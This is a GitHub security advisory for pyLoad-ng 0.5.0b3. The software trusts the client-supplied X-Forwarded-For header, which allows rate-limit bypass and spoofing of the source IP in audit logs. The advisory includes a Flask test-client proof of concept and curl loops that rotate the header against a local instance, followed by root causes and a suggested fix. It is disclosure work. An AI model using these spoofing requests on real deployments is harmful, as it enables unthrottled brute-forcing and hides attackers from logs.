--- id: GHSA-9q47-3cm2-2rp8 title: >- pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header summary: >- pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header severity: medium cwe: - CWE-290 vendor: pyload-ng product: pyload-ng ecosystem: pip affected: - pyload-ng = 0.5.0b3.dev101 published: '2026-10-09' updated: '2026-10-09' sourceUpdated: '2026-10-09T17:09:14Z' source: GHSA sourceUrl: 'https://github.com/advisories/GHSA-9q47-3cm2-2rp8' references: - url: 'https://github.com/pyload/pyload/security/advisories/GHSA-9q47-3cm2-2rp8' - url: >- https://github.com/pyload/pyload/commit/5dc6b628e2d8b9f42dde82f396e5b7a2b513f6d1 - url: 'https://github.com/advisories/GHSA-9q47-3cm2-2rp8' tags: - ghsa - pip ingestedAt: '2026-10-09T18:07:39.421Z' --- ## Overview ## Summary pyLoad determines the "client IP" used for its rate-limiting decorator and for its security/audit logging by reading the client-supplied `X-Forwarded-For` (XFF) HTTP header and taking the leftmost value. No trusted-proxy configuration exists (the Cheroot WSGI server faces clients directly, and there is no `ProxyFix` middleware). Because any client can freely set this header, an attacker can (1) completely bypass rate limiting by rotating the header on each request, and (2) forge the source IP recorded in security logs for login and API-key authentication failures, defeating IP-based blocking (e.g. fail2ban) and poisoning attribution. ## Severity Medium — CVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L` (~5.3) - CWE-807: Reliance on Untrusted Inputs in a Security Decision - CWE-290: Authentication Bypass by Spoofing - CWE-348: Use of Less Trusted Source ## Affected Version pyLoad 0.5.0b3 (built from the `develop` branch). Confirmed still present and exploitable in the later `pyload-develop-2` snapshot (the affected files are byte-identical between the two; the `develop-2` changes only touched the unrelated API-key cache). ## Affected Component Web UI request handling — client-IP derivation used by rate limiting and security logging. - `src/pyload/webui/app/helpers.py:446` — inside the `rate_limit()` decorator; derives the per-IP bucket key. - `src/pyload/webui/app/helpers.py:357` — API-key authentication success/failure logging. - `src/pyload/webui/app/blueprints/app_blueprint.py:81` — web login success/failure logging. - `src/pyload/webui/webserver_thread.py` — Cheroot serves the Flask app directly; no reverse-proxy trust boundary or `ProxyFix`. - Consumer: `src/pyload/webui/app/blueprints/api_blueprint.py:25` applies `@rate_limit(count=100, period=60)` to the `/api/` RPC endpoint. ## Description: All three locations derive the client IP with the identical expression: ```python client_ip = flask.request.headers.get("X-Forwarded-For", "").split(",")[0].strip() or flask.request.remote_addr ``` `X-Forwarded-For` is an HTTP request header fully controlled by the client. The code takes `split(",")[0]` — the leftmost token — which is always the value supplied by the *original client* (a proxy appends its own value to the right). Only when the header is entirely absent does the code fall back to `request.remote_addr` (the real TCP peer). There is no configured trusted-proxy count, and pyLoad's server (Cheroot) terminates client connections directly, so `remote_addr` is the true peer and the XFF value is untrusted attacker input. Two security decisions are made on this untrusted value: 1. Rate limiting (`rate_limit()`): the decorator keeps `request_history[client_ip]` and enforces `count` requests per `period` per `client_ip`. Since `client_ip` is attacker-controlled, sending a distinct value each request creates a distinct bucket, so the counter never accumulates and the limit never triggers. 2. Audit logging: login-failure and API-auth-failure log lines embed `[CLIENT: {client_ip}]` using the same spoofable value, so the recorded source address is chosen by the attacker. Notably, the codebase is internally inconsistent: `is_loopback_request()` (helpers.py:288) treats the *presence* of `X-Forwarded-For` / `X-Real-IP` / `Forwarded` as a reason to *distrust* an apparent loopback source, while the rate-limit and logging paths naively trust the same header — indicating the trust here is unintended. ## Proof of Concept The `rate_limit()` decorator's actual source (bytes read from `pyload-develop-2/src/pyload/webui/app/helpers.py`, lines 416–514) was executed under a real Flask test client. Rate limit set to 5/60s for brevity (identical logic to the production 100/min): ```python import ast, math, time from functools import wraps import flask HELPERS = ".../pyload-develop-2/src/pyload/webui/app/helpers.py" src = open(HELPERS).read() node = next(n for n in ast.parse(src).body if isinstance(n, ast.FunctionDef) and n.name == "rate_limit") ns = {"flask": flask, "time": time, "math": math, "wraps": wraps} exec(compile(ast.get_source_segment(src, node), HELPERS, "exec"), ns) rate_limit = ns["rate_limit"] def build_app(): app = flask.Flask(__name__) @app.route("/api/ping") @rate_limit(count=5, period=60) def ping(): return flask.json.jsonify({"ok": True}) return app def run(hdr): app = build_app() with app.test_client() as c: return [c.get("/api/ping", headers=hdr(i)).status_code for i in range(8)] print("FIXED XFF:", run(lambda i: {"X-Forwarded-For": "203.0.113.9"})) print("ROTATE XFF:", run(lambda i: {"X-Forwarded-For": f"10.0.0.{i}"})) ``` Output: ``` FIXED XFF: [200, 200, 200, 200, 200, 429, 429, 429] # limit enforced ROTATE XFF: [200, 200, 200, 200, 200, 200, 200, 200] # 0x 429 -> limit bypassed # server log during FIXED run: # WARNING in helpers: Rate limit exceeded for IP 203.0.113.9: 5 requests in 60 (limit: 5/60) ``` Derivation check (XFF present, real peer is loopback): ```python # request with header X-Forwarded-For: 8.8.8.8 and REMOTE_ADDR 127.0.0.1 client_ip = request.headers.get("X-Forwarded-For","").split(",")[0].strip() or request.remote_addr # -> client_ip == "8.8.8.8" (the spoofed value wins over the real remote_addr) ``` Equivalent against a live instance: ```bash # Rate limit never trips regardless of volume: for i in $(seq 1 500); do curl -s -o /dev/null -H "X-API-Key: pl_1" \ -H "X-Forwarded-For: 10.0.0.$((RANDOM%255))" \ http://127.0.0.1:8000/api/get_server_version done # no HTTP 429 is ever returned # Forged source IP in the audit log: curl -s -o /dev/null -H "X-Forwarded-For: 8.8.8.8" \ --data 'username=admin&password=wrong' http://127.0.0.1:8000/login # server log: Login failed for user 'admin' using Web Client [CLIENT: 8.8.8.8] ``` ## Steps To Reproduce 1. Start a pyLoad instance directly exposed (no reverse proxy), as in a default deployment. 2. Obtain any valid API key (or use the login endpoint) so requests reach the rate-limited / logged code paths. 3. Send more than the configured limit of requests to a `@rate_limit`-protected endpoint (e.g. `/api/get_server_version`) while setting a **different** `X-Forwarded-For` value on each request. Observe that no `429 Too Many Requests` is ever returned. 4. Control: repeat step 3 with a **fixed** `X-Forwarded-For` value; observe `429` after the limit, proving the bucket is keyed on the header value. 5. Send a failed login (or failed API-key request) with `X-Forwarded-For: 8.8.8.8` and inspect the server log; the failure is attributed to `8.8.8.8` rather than the real client address. ## Impact - Rate limiting on the authenticated API (`/api/`, 100/min) and any other `@rate_limit`-protected endpoint provides no protection against a single attacker, who can issue unlimited requests — enabling resource abuse and unthrottled brute-forcing of anything reachable through those endpoints. - Security/audit logs cannot be trusted for source attribution. An attacker can stamp every malicious request with an arbitrary or innocent third-party IP, evading IP-based blocklists / fail2ban and misdirecting incident response. - Amplifies other authentication weaknesses (e.g. the absence of throttling on `/login`), since even the throttling that does exist elsewhere is defeated and the attacker's IP is unlogged. ## Root Causes 1. A client-controlled HTTP header (`X-Forwarded-For`) is used directly in security decisions (rate-limit bucketing and audit attribution) without any trusted-proxy validation (CWE-807). 2. The leftmost XFF token is selected, which is always the value supplied by the original client; this is spoofable both in direct-exposure and behind-a-proxy deployments (CWE-348). 3. No `ProxyFix` / trusted-proxy-hop configuration exists, and the server terminates client connections directly, so there is no basis for trusting forwarded headers at all. 4. Inconsistent handling across the codebase (loopback checks distrust these headers while rate-limit/logging trust them) indicates the trust is accidental rather than designed. ## Suggested Fix 1. By default, use `request.remote_addr` (the real TCP peer) for rate limiting and logging; do not trust `X-Forwarded-For` unless a proxy is explicitly configured. 2. Add an explicit, operator-configured trusted-proxy count (default 0 = trust none). When set, apply Werkzeug's `ProxyFix(app.wsgi_app, x_for=N)` and read the correct hop (the value inserted by the trusted proxy — typically the Nth-from-right token — not the leftmost client-supplied token). 3. Derive the trusted client IP once in a single helper and use it consistently for rate limiting, logging, and the loopback checks, removing the duplicated inline expressions. 4. Consider defense-in-depth: cap the number of distinct rate-limit buckets and/or additionally rate-limit on `remote_addr` so a spoofed header cannot create unbounded buckets. Invariant to restore: security decisions and audit attribution must be based on a connection-level or trusted-proxy-validated address, never on a raw client-supplied header. ## Affected packages - `pyload-ng = 0.5.0b3.dev101` ## Remediation Refer to the advisory for the patched release.